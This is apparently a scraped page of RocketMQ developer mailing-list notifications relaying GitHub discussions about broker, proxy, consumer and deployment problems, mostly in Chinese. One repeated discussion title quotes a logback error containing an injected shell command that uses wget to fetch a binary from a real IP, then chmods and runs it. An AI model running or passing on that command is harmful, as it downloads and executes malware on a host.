GitHub user oopooa closed a discussion: Node.js client can't send message
I'm currently working with RocketMQ 5.2.0 and trying to get my Node.js client
to connect and send messages. This
[client](https://github.com/apache/rocketmq-clients/tree/master/nodejs) was
just released a few days ago.
GitHub user fsneak added a comment to the discussion: 集群消费模式下，是否在某些情况下，存在同一个队列被
同一个消费组的 多个消费者消费的情况？
我也有这个疑问，如果AllocateMessageQueueStrategy返回的结果重复的话怎么办？
好像RocketMQ至少在4.X好像并没有特别针对这种情况进行处理。
GitHub link:
https://github.com/apache/rocketmq/discussions/7746#discussioncomment-8795348
This is
duhenglucky merged PR #136:
URL: https://github.com/apache/rocketmq-client-python/pull/136
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail:
GitHub user 1025044866xxy added a comment to the discussion: 批量拉取数量不对
看了下源码，猜测还有一个可能性就是，consumeQueue索引生成的速度太慢了，导致消息不可见。可以改成并行生成试试。https://github.com/apache/rocketmq/issues/5184
GitHub link:
https://github.com/apache/rocketmq/discussions/7596#discussioncomment-8850128
This is an
GitHub user leizhiyuan added a comment to the discussion: >mqadmin
queryMsgByUniqueKey execute error
把这个重试队列在服务端建出来，可以绕过这个问题。
%RETRY%backstage_consumer
GitHub link:
https://github.com/apache/rocketmq/discussions/7889#discussioncomment-8705485
This is an automatically sent email for
GitHub user quanzhou88 added a comment to the discussion: >mqadmin
queryMsgByUniqueKey execute error
好的，谢谢
GitHub link:
https://github.com/apache/rocketmq/discussions/7889#discussioncomment-8706158
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please
GitHub user leizhiyuan added a comment to the discussion: >mqadmin
queryMsgByUniqueKey execute error
这个方法最后会查询轨迹，这里查询轨迹需要用到retry topic来做路由，5.0 含有proxy的部署模式，产生的retry topic不是这个，
所以没有路由。
GitHub link:
https://github.com/apache/rocketmq/discussions/7889#discussioncomment-8688153
This is an
GitHub user LittleBoy18 added a comment to the discussion: producer 延迟故障机制
4.x可以通过producer.setSendLatencyFaultEnable(true)开启
GitHub link:
https://github.com/apache/rocketmq/discussions/7897#discussioncomment-8743122
This is an automatically sent email for dev@rocketmq.apache.org.
To
GitHub user GenerousMan added a comment to the discussion: producer 延迟故障机制
Yes, this has already been supported in the 5.0 proxy, introduced through
RIP-63. There are relevant configurations in ProxyConfig:
startDetectorEnable/startDetectorEnable.
GitHub link:
GitHub user PengFei-io added a comment to the discussion: create grpc conn
failed, err=context deadline exceeded
https://github.com/apache/rocketmq-clients/assets/55048787/d145f612-8ffe-4c31-874a-62257239d599;>
me too
GitHub link:
GitHub user zhengsh edited a discussion: rocketmq 5.1 客户端版本 4.9.5
顺序消息偶发在客户端消费丢消息
顺序消息消费，有时候回出现消费端丢消息的情况。
比较奇怪的是，在 rocketmq-admin 里面能够查询到丢失的消息
消费者 consumer 代码如下：
`
public void start() throws Exception {
DefaultMQPushConsumer consumer = new
GitHub user asjfoajs added a comment to the discussion: 事务消息提交后依然会出现回查
System.out.printf("%s send success %s%n", new Date(System.currentTimeMillis()),
sendResult.getMsgId()); 只是发送成功，// noinspection deprecation
producer.getDefaultMQProducerImpl().endTransaction(
goingHan commented on issue #141:
URL:
https://github.com/apache/rocketmq-client-python/issues/141#issuecomment-2017599733
2024年了，有招吗
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the
GitHub user asjfoajs added a comment to the discussion:
客户端grpc方式获取bornTimestamp（客户端消息发送时间）是utc时间
> 小白请教一下 我用grpc的方式发送消息，返回的bornTimestamp是utc时间，但我看dashbord
> 上的bornTimestamp的时间显示的是北京时间，这是和通信的方式不一样吗？grpc的序列化好像是utc时间？ dashbord是json序列化吗？
GitHub link:
GitHub user asjfoajs edited a discussion:
客户端grpc方式获取bornTimestamp（客户端消息发送时间）是utc时间
小白请教一下 我用grpc的方式发送消息，返回的bornTimestamp是utc时间，但我看dashbord
上的bornTimestamp的时间显示的是北京时间，这是和通信的方式不一样吗？grpc的序列化好像是utc时间？ dashbord是json序列化吗？
GitHub link: https://github.com/apache/rocketmq/discussions/7990
This
GitHub user asjfoajs deleted a comment on the discussion:
客户端grpc方式获取bornTimestamp（客户端消息发送时间）是utc时间
> 小白请教一下 我用grpc的方式发送消息，返回的bornTimestamp是utc时间，但我看dashbord
> 上的bornTimestamp的时间显示的是北京时间，这是和通信的方式不一样吗？grpc的序列化好像是utc时间？ dashbord是json序列化吗？
GitHub link:
cxhello opened a new pull request, #103:
URL: https://github.com/apache/rocketmq-docker/pull/103
(no comment)
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To
GitHub user YongXiaoo added a comment to the discussion: java
grpc客户端如何开启轨迹消息，可以收发消息，一直没有轨迹
好的，感谢
GitHub link:
https://github.com/apache/rocketmq-clients/discussions/626#discussioncomment-8977927
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please
caigy opened a new issue, #104:
URL: https://github.com/apache/rocketmq-docker/issues/104
**FEATURE REQUEST**
1. Please describe the feature you are requesting.
The helm charts provided in this repository contain name server, broker and
proxy, but there's no
caigy opened a new pull request, #105:
URL: https://github.com/apache/rocketmq-docker/pull/105
fix #104
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe,
RongtongJin commented on PR #105:
URL: https://github.com/apache/rocketmq-docker/pull/105#issuecomment-2041401086
LGTM
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To
RongtongJin merged PR #105:
URL: https://github.com/apache/rocketmq-docker/pull/105
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail:
RongtongJin closed issue #104: Support installing rocketmq-constoller using helm
URL: https://github.com/apache/rocketmq-docker/issues/104
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the
GitHub user LittleBoy18 edited a discussion: mq proxy有没有健康检查的机制
mq proxy部署在k8s环境中，pod设置健康检查探针有没有好的方式，目前能想到的是探测8081端口，但是进程hang住的情况探测端口的方式没办法检测到异常
GitHub link: https://github.com/apache/rocketmq/discussions/7993
This is an automatically sent email for dev@rocketmq.apache.org.
To
GitHub user frinda added a comment to the discussion:
主备模式删除topic，从节点物理consumequeue不删除
这个MR解决此问题，但是没人给合入
GitHub link:
https://github.com/apache/rocketmq/discussions/7058#discussioncomment-8941419
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please
GitHub user frinda added a comment to the discussion:
主备模式删除topic，从节点物理consumequeue不删除
https://github.com/apache/rocketmq/pull/7273
GitHub link:
https://github.com/apache/rocketmq/discussions/7058#discussioncomment-8941412
This is an automatically sent email for
GitHub user leizhiyuan added a comment to the discussion:
rocketmq删除topic，导致broker挂掉
怎么操作的删除？
另外可以提供一下删除那段时间的broker日志
GitHub link:
https://github.com/apache/rocketmq/discussions/7973#discussioncomment-8924868
This is an automatically sent email for dev@rocketmq.apache.org.
To
GitHub user z499738316 added a comment to the discussion:
rocketmq删除topic，导致broker挂掉
> 怎么操作的删除？
>
> 另外可以提供一下删除那段时间的broker日志
RocketMQ-Dashboard用这个删除的，日志估计找不到，反正用这个面板删除后broker挂掉了，搭的主从 一主俩从
GitHub link:
https://github.com/apache/rocketmq/discussions/7973#discussioncomment-8925076
This
GitHub user zzkk12345 added a comment to the discussion: I want to know how to
obtain RocketMQ producer related information through API
我想知道怎么从API的方式获取rocketmq生产者相关信息 我看了官网的文档 没有找到 是不支持吗？什么版本能支持？
或者怎么通过拦截器方式不通过修改代码的方式获取到message生产者相关信息
GitHub link:
GitHub user 1294566108 added a comment to the discussion: After open Rocksdb &
LMQ, consume target LMQ fails
@RongtongJin I can't find out why this problem occurs， I saw that sometimes sst
files are generated under the consumequeue file, but they can never be consumed.
GitHub link:
GitHub user cserwen added a comment to the discussion: After open Rocksdb &
LMQ, consume target LMQ fails
It is currently not supported, but I think this feature is very useful. It will
be a huge optimization for scenarios where MQTT supports millions of queues. We
should support it.
GitHub user liuguang1013 added a comment to the discussion:
RocketMQ5.1及以上版本启动sh ./mqbroker -n localhost:9876 --enable-proxy报错问题
今天同样遇到了，啥原因？
GitHub link:
https://github.com/apache/rocketmq/discussions/7611#discussioncomment-8947744
This is an automatically sent email for
ifplusor commented on issue #141:
URL:
https://github.com/apache/rocketmq-client-python/issues/141#issuecomment-2026650130
@long5270 @goingHan
我看了一下，现在sdk上是没有相应接口的。但是可以通过先用mqadmin设置offset，再启动consumer的方式绕过。
--
This is an automated message from the Apache Git Service.
To respond to the
liuzhaomax commented on issue #27:
URL: https://github.com/apache/rocketmq-docker/issues/27#issuecomment-2016828446
如果是rmq的console遇到这个问题，需要检查是否docker-compose文件的console编排有没有设置环境变量 NAMESRV_ADDR:
"rocketmqnamesrv:9876" ，（rocketmqnamesrv 是namesrv宿主机ip）
--
This is an automated message from
tinarooot commented on issue #27:
URL: https://github.com/apache/rocketmq-docker/issues/27#issuecomment-2016828566
这是来自QQ邮箱的假期自动回复邮件。你好，我最近正在休假中，无法亲自回复你的邮件。我将在假期结束后，尽快给你回复。
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and
GitHub user RongtongJin added a comment to the discussion: After open Rocksdb &
LMQ, consume target LMQ fails
https://github.com/apache/rocketmq-mqtt/issues/251#issuecomment-2026790498
GitHub link:
https://github.com/apache/rocketmq/discussions/7978#discussioncomment-8949087
This is an
GitHub user LittleBoy18 added a comment to the discussion:
请问下,RocketMQ有没有容灾和双向同步的方案
社区里有一个rocketmq-replicator的组件
https://github.com/apache/rocketmq-externals/tree/rocketmq-replicator
GitHub link:
https://github.com/apache/rocketmq/discussions/7954#discussioncomment-8970089
This is an
GitHub user MmringZee added a comment to the discussion:
部署双主双从Master/Slave集群，从节点broker.log报错No accessKey is configured
具体报错：
`2024-03-27 19:14:54 ERROR BrokerControllerScheduledThread1 -
SyncSubscriptionGroup Exception,
GitHub user leizhiyuan added a comment to the discussion:
客户端grpc方式获取bornTimestamp（客户端消息发送时间）是utc时间
可以提供一下具体的展示效果。诣极bornTime的信息
GitHub link:
https://github.com/apache/rocketmq/discussions/7990#discussioncomment-8968887
This is an automatically sent email for dev@rocketmq.apache.org.
To
long5270 commented on issue #141:
URL:
https://github.com/apache/rocketmq-client-python/issues/141#issuecomment-1960999808
你好 你解决了吗？
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific
GitHub user hYuang added a comment to the discussion: rocketmq有多租户的概念吗
namespace
GitHub link:
https://github.com/apache/rocketmq/discussions/7864#discussioncomment-8605471
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to:
zhanqian-1993 commented on issue #932:
URL:
https://github.com/apache/rocketmq-externals/issues/932#issuecomment-1972617685
I rewrite these code to send message to rocketMq and
zhanqian-1993 closed issue #932: [rocketmq-spark] batch write data fail but log
has no error or exception
URL: https://github.com/apache/rocketmq-externals/issues/932
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
GitHub user RongtongJin added a comment to the discussion: 部署 3 节点 controller
，broker 状态 alive 显示为 false
看着192.168.84.199没有像controller发心跳。。。但单节点controller不会有这个问题比较奇怪。。。可以看下192.168.84.199和controller的日志
GitHub link:
https://github.com/apache/rocketmq/discussions/7877#discussioncomment-8637811
GitHub user drivebyer added a comment to the discussion: 部署 3 节点 controller
，broker 状态 alive 显示为 false
感谢回复。
刚才我又使用同样的步骤测试了一下，出现了不同的现象。
### controller
```
[root@master0 ~]# kubectl -n mcamel-system exec -it controller-1 -- ./mqadmin
getSyncStateSet -a 127.0.0.1:9878 -c broker -b broker-0
GitHub user drivebyer edited a comment on the discussion: 部署 3 节点 controller
，broker 状态 alive 显示为 false
感谢回复。
刚才我又使用同样的步骤测试了一下，出现了不同的现象。
### controller
```
[root@master0 ~]# kubectl -n mcamel-system exec -it controller-1 -- ./mqadmin
getSyncStateSet -a 127.0.0.1:9878 -c broker -b broker-0
GitHub user drivebyer edited a comment on the discussion: 部署 3 节点 controller
，broker 状态 alive 显示为 false
感谢回复。
刚才我又使用同样的步骤测试了一下，出现了不同的现象。
### controller
```
[root@master0 ~]# kubectl -n mcamel-system exec -it controller-1 -- ./mqadmin
getSyncStateSet -a 127.0.0.1:9878 -c broker -b broker-0
zhanqian-1993 opened a new issue, #932:
URL: https://github.com/apache/rocketmq-externals/issues/932
The issue tracker is **ONLY** used for bug report and feature request.
Any question or RocketMQ proposal please use our [mailing
lists](http://rocketmq.apache.org/about/contact/).
Poison02 commented on issue #89:
URL: https://github.com/apache/rocketmq-docker/issues/89#issuecomment-1974242856
also, but how to solve it?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the
GitHub user leizhiyuan added a comment to the discussion: why the new java sdk
take as every consumer and producer as a dependant 'client'，and create some
thread groups for every 'client'.
The current asyncWorker is one for each consumer/producer, perhaps in the first
version it was designed
GitHub user Yelijah edited a discussion: why the new java sdk take every
consumer and producer as a dependant 'client'，and create some thread groups for
every 'client'.
https://github.com/apache/rocketmq-clients/assets/33784573/cf880f81-7b07-4c85-b12d-111f050086b3;>
GitHub user leizhiyuan added a comment to the discussion:
使用rocketmq4.3.1漏扫的时候报无效的自签名SSL证书【原理扫描】
你需要找你们漏洞扫描的同学确认。
GitHub link:
https://github.com/apache/rocketmq/discussions/7887#discussioncomment-8679368
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe,
GitHub user cserwen added a comment to the discussion: broker的slave节点消费太慢问题
1. 请求到从节点属于从读功能，默认实现只有客户端读取比较老的数据时才会访问从节点，新数据还是会从 Master
拉取，因此这个消息通知机制没有问题，从读时必定存在堆积。
2. 4.9 版本的 notifyMessageArrive4MultiQueue() 是为了 LMQ 功能实现的，不是修复这个问题，况且仍旧是在
Master 状态运行的:-D @18191518054
GitHub link:
GitHub user ling0900 added a comment to the discussion: 重试消息一次发送多次，只能通过幂等处理吗？
业务幂等是非常有必要的，这也是兜底的一种方式。
GitHub link:
https://github.com/apache/rocketmq/discussions/8131#discussioncomment-9516998
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send
GitHub user zhangqhai closed a discussion: test
test
GitHub link: https://github.com/apache/rocketmq/discussions/8176
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
GitHub user cserwen added a comment to the discussion: broker 返回异常
[TIMEOUT_CLEAN_QUEUE]broker busy
这里是是服务端 Broker 因为 busy 而快速失败返回给客户端的，具体方法你可以看下
cleanExpiredRequestInQueue，如果队头任务等待时间超过了配置值（默认为200ms）就会 fast fail，以便客户端快速到其他节点重试
一般常见于发送队列，对于发送，最可能的就是 操作系统 pagecache
GitHub user cserwen added a comment to the discussion:
后端服务高可用，当服务a1进行升级时，如何避免rocketmq消息下发到升级节点？
a1 升级期间，消费者理应进行 shutdown ，服务端不会再向 shutdown 的消费者发送消息
GitHub link:
https://github.com/apache/rocketmq/discussions/8175#discussioncomment-9545382
This is an automatically sent email for
GitHub user cserwen added a comment to the discussion:
后端服务高可用，当服务a1进行升级时，如何避免rocketmq消息下发到升级节点？
即使没有 shutdown，进程停止，服务端也会认为这个消费者下线了，不会再下发消息
GitHub link:
https://github.com/apache/rocketmq/discussions/8175#discussioncomment-9545393
This is an automatically sent email for
GitHub user LinkCaau added a comment to the discussion: broker 返回异常
[TIMEOUT_CLEAN_QUEUE]broker busy
没有打印这个日志
GitHub link:
https://github.com/apache/rocketmq/discussions/8188#discussioncomment-9566442
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe,
GitHub user zhangqhai reopened a discussion: test
test
GitHub link: https://github.com/apache/rocketmq/discussions/8176
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
GitHub user zhangqhai closed a discussion: test
test
GitHub link: https://github.com/apache/rocketmq/discussions/8176
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
GitHub user LinkCaau added a comment to the discussion: broker 返回异常
[TIMEOUT_CLEAN_QUEUE]broker busy
2024-05-22 13:19:00 INFO AdminBrokerThread_4 - findPutMessageEntireTimePX
0.99=0.00ms cost 0ms
2024-05-22 13:19:00 INFO AdminBrokerThread_4 - findPutMessageEntireTimePX
0.999=0.00ms cost 0ms
GitHub user LinkCaau edited a comment on the discussion: broker 返回异常
[TIMEOUT_CLEAN_QUEUE]broker busy
2024-05-22 13:19:00 INFO AdminBrokerThread_4 - findPutMessageEntireTimePX
0.99=0.00ms cost 0ms
2024-05-22 13:19:00 INFO AdminBrokerThread_4 - findPutMessageEntireTimePX
0.999=0.00ms cost 0ms
GitHub user LinkCaau deleted a comment on the discussion: broker 返回异常
[TIMEOUT_CLEAN_QUEUE]broker busy
没有打印这个日志
GitHub link:
https://github.com/apache/rocketmq/discussions/8188#discussioncomment-9566442
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe,
GitHub user LinkCaau edited a comment on the discussion: broker 返回异常
[TIMEOUT_CLEAN_QUEUE]broker busy
没有打印这个日志
这是store.log 2024-05-22 13:19的日志
2024-05-22 13:19:00 INFO AdminBrokerThread_4 - findPutMessageEntireTimePX
0.99=0.00ms cost 0ms
2024-05-22 13:19:00 INFO AdminBrokerThread_4 -
GitHub user JanYork closed a discussion: When can the PullConsumer mode of
Nodejs be used?
When can the PullConsumer mode of Nodejs be used? I really need this function.
Has anyone packaged it themselves? Can you share it? Or can I use
SimpleConsumer directly to encapsulate an implementation
GitHub user JanYork closed a discussion: In nodejs, the SimpleConsumer receive
method cannot guarantee that messages are obtained in order?
my consumer code：
```js
require('module-alias/register');
import { SimpleConsumer } from '@/consumer';
const consumer = new SimpleConsumer({
GitHub user JanYork closed a discussion: How do I dynamically create and delete
a Topic in C++ or Node?
Can other languages have the ability to operate RocketMQ Admin? For example:
adding or deleting Topic in C++ program.
It can be implemented in Java. Netty from rocket.remoting provides the
GitHub user JanYork closed a discussion: Is this open source project still
being maintained?
Why are there no replies to issues and community questions? Is this project
still under maintenance? Don’t have any maintenance staff? Many issues and
community questions have been around for a long
GitHub user JanYork closed a discussion: How to implement sequential
consumption in nodejs in version 5.x?
How do I implement sequential consumption on nodejs? Does grpc provide an
interface?
GitHub link: https://github.com/apache/rocketmq/discussions/8147
This is an automatically sent
GitHub user isMrZhang added a comment to the discussion: RocketMQ5.1及以上版本启动sh
./mqbroker -n localhost:9876 --enable-proxy报错问题
有解决办法吗
GitHub link:
https://github.com/apache/rocketmq/discussions/7611#discussioncomment-9503066
This is an automatically sent email for
GitHub user xiaoma20082008 added a comment to the discussion:
当topic/group超过3w后,broker无法注册到namesrv
> 这个功能，可以在exporter中实现 https://github.com/apache/rocketmq-exporter
也是可以的，但是exporter里需要查询所有的消费组，然后统计数量，在group多的时候，也容易超时和报错。如果直接加metrics，可能更方便一些
GitHub link:
GitHub user bruce-pang added a comment to the discussion:
ch.qos.logback.core.joran.spi.JoranException: Could not open [-c $@|sh . echo
cd /tmp; wget http:/141.98.7.172/bins/kvm.x86; chmod 777 kvm.x86; ./kvm.x86
maquenas;/conf/logback_broker.xml].
> 是不是 RocketMQHome
francisoliverlee opened a new pull request, #933:
URL: https://github.com/apache/rocketmq-externals/pull/933
## What is the purpose of the change
X
## Brief changelog
XX
## Verifying this change
Follow this checklist to help us incorporate
GitHub user WellJay edited a discussion:
请问【deleteTopicWithBrokerRegistration】参数设计意图是什么？ 因为运维的配置引起了事故
请问【deleteTopicWithBrokerReg】参数设计意图是什么？是给什么场景用的？
因为运维配置为true，但是enableSingleTopicRegister使用默认值false，引起了事故
配置从k8s heml官方镜像中拷贝的；
@RongtongJin
GitHub link:
GitHub user WellJay edited a discussion:
请问【deleteTopicWithBrokerRegistration】参数设计意图是什么？ 因为运维的配置引起了事故
请问【deleteTopicWithBrokerReg】参数设计意图是什么？是给什么场景用的？
因为运维配置为true，但是enableSingleTopicRegister使用默认值false，引起了事故
配置从k8s heml官方镜像中拷贝的；
GitHub link: https://github.com/apache/rocketmq/discussions/8258
GitHub user WellJay edited a discussion:
请问【deleteTopicWithBrokerRegistration】参数设计意图是什么？ 因为运维的配置引起了事故
请问【deleteTopicWithBrokerReg】参数设计意图是什么？是给什么场景用的？
因为运维配置为true，但是enableSingleTopicRegister使用默认值false，引起了事故
@RongtongJin
GitHub link: https://github.com/apache/rocketmq/discussions/8258
GitHub user zhiliatom closed a discussion: Can't generate rocketmq_client.log
in mac
Hi, I'm using 5.x version consumer example in my mac and work success.
But I can't find rocketmq_client.log in
~/logs/rocketmqlogs/rocketmq_client.log. I didn't set any env parameter or
logback config file.
GitHub user zhiliatom added a comment to the discussion: client 4.9.5 消费不均衡
顺序消息会根据 shardingkey 对消息分片，观察brokeroffset位点，是否第一个 broker 的消息投递数量就是第二个 broker
的两倍呢？
GitHub link:
https://github.com/apache/rocketmq/discussions/8181#discussioncomment-9687736
This is an automatically sent email
GitHub user zhiliatom added a comment to the discussion:
ch.qos.logback.core.joran.spi.JoranException: Could not open [-c $@|sh . echo
cd /tmp; wget http:/141.98.7.172/bins/kvm.x86; chmod 777 kvm.x86; ./kvm.x86
maquenas;/conf/logback_broker.xml].
启动Broker的命令没有localhost:9876 这一段
GitHub link:
GitHub user zhiliatom added a comment to the discussion: broker
master宕机卡死之后，client端还继续往broker 发送消息
这个集群版本以及客户端版本都太老了，现在都5.2.0了。可能在客户端处理路由方面存在问题，建议升级到较新点的版本吧，例如4.9.x。
GitHub link:
https://github.com/apache/rocketmq/discussions/8226#discussioncomment-9659346
This is an automatically
GitHub user zhiliatom added a comment to the discussion: 5.1.4
单机单节点启动Broker+Proxy无法发布消息？
官方文档有错误，还需要执行 rmq-proxy.json，例如：执行 sh ./mqbroker -n localhost:9876
--enable-proxy -pc ../conf/rmq-proxy.json ;其中，rmq-proxy.json需要指定
namesrvAddr中如：{ "namesrvAddr": "localhost:9876"}
GitHub link:
GitHub user zhiliatom added a comment to the discussion: RocketMQ5.1及以上版本启动sh
./mqbroker -n localhost:9876 --enable-proxy报错问题
执行 sh ./mqbroker -n localhost:9876 --enable -pc ../conf/rmq-proxy.json
;其中，rmq-proxy.json需要指定 namesrvAddr中如：{ "namesrvAddr": "localhost:9876"}
GitHub link:
GitHub user zhiliatom edited a comment on the discussion: RocketMQ5.1及以上版本启动sh
./mqbroker -n localhost:9876 --enable-proxy报错问题
执行 sh ./mqbroker -n localhost:9876 --enable-proxy -pc ../conf/rmq-proxy.json
;其中，rmq-proxy.json需要指定 namesrvAddr中如：{ "namesrvAddr": "localhost:9876"}
GitHub link:
GitHub user bruce-pang added a comment to the discussion:
ch.qos.logback.core.joran.spi.JoranException: Could not open [-c $@|sh . echo
cd /tmp; wget http:/141.98.7.172/bins/kvm.x86; chmod 777 kvm.x86; ./kvm.x86
maquenas;/conf/logback_broker.xml].
我发现broker.conf里面的内容貌似是启动后动态进行修改的,
ztword commented on issue #133:
URL:
https://github.com/apache/rocketmq-client-python/issues/133#issuecomment-2138857042
因为开发者不使用windows
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the
GitHub user zhiliatom added a comment to the discussion:
consumerMessageBatchMaxSize未生效
`consumerMessageBatchMaxSize`默认值就是
1，可以在消费者客户端中修改`consumer.setConsumerMessageBatchMaxSize(32)`生效。注意这个值并不可以无限大，因为客户端每次从
Broker
GitHub user 2335119327 added a comment to the discussion: Rocketmq tag过滤机制
感谢解答~
GitHub link:
https://github.com/apache/rocketmq/discussions/8219#discussioncomment-9613322
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to:
GitHub user cserwen added a comment to the discussion: Rocketmq tag过滤机制
cq 只存储了消息 tag 的 hashcode 信息，没有具体的 tag 值，如果想要在服务端精确过滤，必须要decode
msg，这样就会增加服务端的计算压力，同时也会增加 pullMessage 的时延，
因为客户端本身就要 decode 消息，因此将精确过滤放在客户端可以很好的利用资源，broker 负责快速初筛，消费者进行最终确认。这样可以避免 broker
端的计算瓶颈，同时让消费者在相对空闲时完成过滤操作。
GitHub user 2335119327 added a comment to the discussion: Rocketmq tag过滤机制
万分感谢~
GitHub link:
https://github.com/apache/rocketmq/discussions/8219#discussioncomment-9588931
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to:
GitHub user zhiliatom added a comment to the discussion:
ch.qos.logback.core.joran.spi.JoranException: Could not open [-c $@|sh . echo
cd /tmp; wget http:/141.98.7.172/bins/kvm.x86; chmod 777 kvm.x86; ./kvm.x86
maquenas;/conf/logback_broker.xml].
是不是 RocketMQHome
GitHub user jzhParallel added a comment to the discussion: 启动报错Expected the
service PushConsumerImpl-0 [FAILED] to be RUNNING, but the service has FAILED
GitHub user WellJay edited a discussion:
请问【deleteTopicWithBrokerRegistration】参数设计意图是什么？ 因为运维的配置引起了事故
请问【deleteTopicWithBrokerReg】参数设计意图是什么？是给什么场景用的？
因为运维配置为true 引起了事故
GitHub link: https://github.com/apache/rocketmq/discussions/8258
This is an automatically sent email for
GitHub user yuhai-yang added a comment to the discussion: create grpc conn
failed, err=context deadline exceeded
me too
GitHub link:
https://github.com/apache/rocketmq-clients/discussions/579#discussioncomment-9734478
This is an automatically sent email for dev@rocketmq.apache.org.
To
GitHub user drivebyer added a comment to the discussion: 部署 3 节点 controller
，broker 状态 alive 显示为 false
> 用operator部署5.2.0的rocketmq，当controller是3节点时也遇到了相同的问题，现象和日志报错跟前边描述的第二个现象相同
看来我不是一个人 :)
GitHub link:
https://github.com/apache/rocketmq/discussions/7877#discussioncomment-9736535
This
GitHub user anguoming added a comment to the discussion: 部署 3 节点 controller
，broker 状态 alive 显示为 false
用operator部署5.2.0的rocketmq，当controller是3节点时也遇到了相同的问题，现象和日志报错跟前边描述的第二个现象相同
GitHub link:
https://github.com/apache/rocketmq/discussions/7877#discussioncomment-9736493
This is an
801 - 896 of 896 matches
Mail list logo
